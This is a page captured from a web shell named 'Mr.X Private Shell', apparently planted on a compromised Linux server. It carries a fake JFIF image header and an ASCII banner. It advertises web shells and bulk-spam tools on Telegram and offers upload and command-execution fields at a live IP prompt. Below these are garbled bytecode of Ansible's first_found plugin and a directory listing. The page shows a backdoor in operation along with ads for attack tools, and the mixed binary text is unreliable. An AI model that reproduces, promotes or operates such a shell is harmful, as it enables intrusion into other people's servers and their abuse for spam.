����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g"�@s�ddlmZmZmZeZdZdZdZddl	Z	ddl
mZmZddl
mZddlmZmZdd	lmZdd
lmZdd�Zddd�ZGdd�de�ZdS)�)�absolute_import�division�print_functiona�
    name: first_found
    author: Seth Vidal (!UNKNOWN) <skvidal@fedoraproject.org>
    version_added: historical
    short_description: return first file found from list
    description:
      - This lookup checks a list of files and paths and returns the full path to the first combination found.
      - As all lookups, when fed relative paths it will try use the current task's location first and go up the chain
        to the containing locations of role / play / include and so on.
      - The list of files has precedence over the paths searched.
        For example, A task in a role has a 'file1' in the play's relative path, this will be used, 'file2' in role's relative path will not.
      - Either a list of files C(_terms) or a key C(files) with a list of files is required for this plugin to operate.
    notes:
      - This lookup can be used in 'dual mode', either passing a list of file names or a dictionary that has C(files) and C(paths).
    options:
      _terms:
        description: A list of file names.
      files:
        description: A list of file names.
        type: list
        elements: string
        default: []
      paths:
        description: A list of paths in which to look for the files.
        type: list
        elements: string
        default: []
      skip:
        type: boolean
        default: False
        description:
          - When C(True), return an empty list when no files are matched.
          - This is useful when used with C(with_first_found), as an empty list return to C(with_) calls
            causes the calling task to be skipped.
          - When used as a template via C(lookup) or C(query), setting I(skip=True) will *not* cause the task to skip.
            Tasks must handle the empty list return from the template.
          - When C(False) and C(lookup) or C(query) specifies  I(errors='ignore') all errors (including no file found,
            but potentially others) return an empty string or an empty list respectively.
          - When C(True) and C(lookup) or C(query) specifies I(errors='ignore'), no file found will return an empty
            list and other potential errors return an empty string or empty list depending on the template call
            (in other words return values of C(lookup) v C(query)).
a�	
- name: Set _found_file to the first existing file, raising an error if a file is not found
  ansible.builtin.set_fact:
    _found_file: "{{ lookup('ansible.builtin.first_found', findme) }}"
  vars:
    findme:
      - /path/to/foo.txt
      - bar.txt  # will be looked in files/ dir relative to role and/or play
      - /path/to/biz.txt

- name: Set _found_file to the first existing file, or an empty list if no files found
  ansible.builtin.set_fact:
    _found_file: "{{ lookup('ansible.builtin.first_found', files, paths=['/extra/path'], skip=True) }}"
  vars:
    files:
      - /path/to/foo.txt
      - /path/to/bar.txt

- name: Include tasks only if one of the files exist, otherwise skip the task
  ansible.builtin.include_tasks:
    file: "{{ item }}"
  with_first_found:
    - files:
      - path/tasks.yaml
      - path/other_tasks.yaml
      skip: True

- name: Include tasks only if one of the files exists, otherwise skip
  ansible.builtin.include_tasks: '{{ tasks_file }}'
  when: tasks_file != ""
  vars:
    tasks_file: "{{ lookup('ansible.builtin.first_found', files=['tasks.yaml', 'other_tasks.yaml'], errors='ignore') }}"

- name: |
        copy first existing file found to /some/file,
        looking in relative directories from where the task is defined and
        including any play objects that contain it
  ansible.builtin.copy:
    src: "{{ lookup('ansible.builtin.first_found', findme) }}"
    dest: /some/file
  vars:
    findme:
      - foo
      - "{{ inventory_hostname }}"
      - bar

- name: same copy but specific paths
  ansible.builtin.copy:
    src: "{{ lookup('ansible.builtin.first_found', params) }}"
    dest: /some/file
  vars:
    params:
      files:
        - foo
        - "{{ inventory_hostname }}"
        - bar
      paths:
        - /tmp/production
        - /tmp/staging

- name: INTERFACES | Create Ansible header for /etc/network/interfaces
  ansible.builtin.template:
    src: "{{ lookup('ansible.builtin.first_found', findme)}}"
    dest: "/etc/foo.conf"
  vars:
    findme:
      - "{{ ansible_virtualization_type }}_foo.conf"
      - "default_foo.conf"

- name: read vars from first file found, use 'vars/' relative subdir
  ansible.builtin.include_vars: "{{lookup('ansible.builtin.first_found', params)}}"
  vars:
    params:
      files:
        - '{{ ansible_distribution }}.yml'
        - '{{ ansible_os_family }}.yml'
        - default.yml
      paths:
        - 'vars'
zW
  _raw:
    description:
      - path to file found
    type: list
    elements: path
N)�Mapping�Sequence)�UndefinedError)�AnsibleLookupError�AnsibleUndefinedVariable)�string_types)�
LookupBaseccs<t|�}d}|D] }||vr(|Vd}q||7}q|VdS)N�)�set)�value�chars�v�c�r�F/usr/lib/python3.9/site-packages/ansible/plugins/lookup/first_found.py�	_splitter�s
r�,cCs<g}t|t�rtt||��}n|D]}|�t||��q"|S)N)�
isinstancer
�listr�extend�	_split_on)�termsZsplitersZtermlist�trrrr�s
rc@seZdZdd�Zdd�ZdS)�LookupModulecCsg}d}|D]�}t|t�r*|j||d�nXt|t�rD|j||d�n>t|t�rn|�|||�\}}|�|�qntdt|�|f��|�	d�}|�	d�}	|�	d�}t
|d�}
t
|	d�}|r�|D]&}|
D]}
tj�
||
�}|�|�q�q�q|
r�|
}q|�|�q||fS)	NF)Zvar_optionsZdirectzWInvalid term supplied, can handle string, mapping or list of strings but got: %s for %s�files�paths�skipz,;z,:;)rrZset_optionsr
r�_process_termsrr�typeZ
get_optionr�os�path�join�append)�selfr�	variables�kwargs�total_searchrZterm�partialrrZfilelistZpathlistr#�fn�frrrr �s4








zLookupModule._process_termsc	
Ks�|�|||�\}}t|dd�}d}|D]T}z|j�|�}WnttfyTYq&Yn0|j|||dd�}|dur&|gSq&|r�gStd��dS)NZ_subdirrT)Zignore_missingz)No file was found when using first_found.)r �getattrZ_templar�templater	rZfind_file_in_search_pathr)	r&rr'r(r)rZsubdirr#r+rrr�run�s
zLookupModule.runN)�__name__�
__module__�__qualname__r r/rrrrr�s*r)r)Z
__future__rrrr!Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNr"�collections.abcrrZjinja2.exceptionsrZansible.errorsrr	Zansible.module_utils.sixr
Zansible.plugins.lookuprrrrrrrr�<module>s+Q


Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 4.03 KB 0644
__init__.cpython-39.pyc File 4.03 KB 0644
config.cpython-39.opt-1.pyc File 5.38 KB 0644
config.cpython-39.pyc File 5.38 KB 0644
csvfile.cpython-39.opt-1.pyc File 6.41 KB 0644
csvfile.cpython-39.pyc File 6.41 KB 0644
dict.cpython-39.opt-1.pyc File 2.22 KB 0644
dict.cpython-39.pyc File 2.22 KB 0644
env.cpython-39.opt-1.pyc File 2.82 KB 0644
env.cpython-39.pyc File 2.82 KB 0644
file.cpython-39.opt-1.pyc File 2.75 KB 0644
file.cpython-39.pyc File 2.75 KB 0644
fileglob.cpython-39.opt-1.pyc File 2.78 KB 0644
fileglob.cpython-39.pyc File 2.78 KB 0644
first_found.cpython-39.opt-1.pyc File 7.19 KB 0644
first_found.cpython-39.pyc File 7.19 KB 0644
indexed_items.cpython-39.opt-1.pyc File 1.81 KB 0644
indexed_items.cpython-39.pyc File 1.81 KB 0644
ini.cpython-39.opt-1.pyc File 6.21 KB 0644
ini.cpython-39.pyc File 6.21 KB 0644
inventory_hostnames.cpython-39.opt-1.pyc File 1.97 KB 0644
inventory_hostnames.cpython-39.pyc File 1.97 KB 0644
items.cpython-39.opt-1.pyc File 2.04 KB 0644
items.cpython-39.pyc File 2.04 KB 0644
lines.cpython-39.opt-1.pyc File 2.42 KB 0644
lines.cpython-39.pyc File 2.42 KB 0644
list.cpython-39.opt-1.pyc File 1.33 KB 0644
list.cpython-39.pyc File 1.33 KB 0644
nested.cpython-39.opt-1.pyc File 2.68 KB 0644
nested.cpython-39.pyc File 2.68 KB 0644
password.cpython-39.opt-1.pyc File 14.45 KB 0644
password.cpython-39.pyc File 14.45 KB 0644
pipe.cpython-39.opt-1.pyc File 2.64 KB 0644
pipe.cpython-39.pyc File 2.64 KB 0644
random_choice.cpython-39.opt-1.pyc File 1.73 KB 0644
random_choice.cpython-39.pyc File 1.73 KB 0644
sequence.cpython-39.opt-1.pyc File 7.66 KB 0644
sequence.cpython-39.pyc File 7.66 KB 0644
subelements.cpython-39.opt-1.pyc File 5.01 KB 0644
subelements.cpython-39.pyc File 5.01 KB 0644
template.cpython-39.opt-1.pyc File 5.12 KB 0644
template.cpython-39.pyc File 5.12 KB 0644
together.cpython-39.opt-1.pyc File 2.45 KB 0644
together.cpython-39.pyc File 2.45 KB 0644
unvault.cpython-39.opt-1.pyc File 1.99 KB 0644
unvault.cpython-39.pyc File 1.99 KB 0644
url.cpython-39.opt-1.pyc File 8.3 KB 0644
url.cpython-39.pyc File 8.3 KB 0644
varnames.cpython-39.opt-1.pyc File 2.4 KB 0644
varnames.cpython-39.pyc File 2.4 KB 0644
vars.cpython-39.opt-1.pyc File 3.26 KB 0644
vars.cpython-39.pyc File 3.26 KB 0644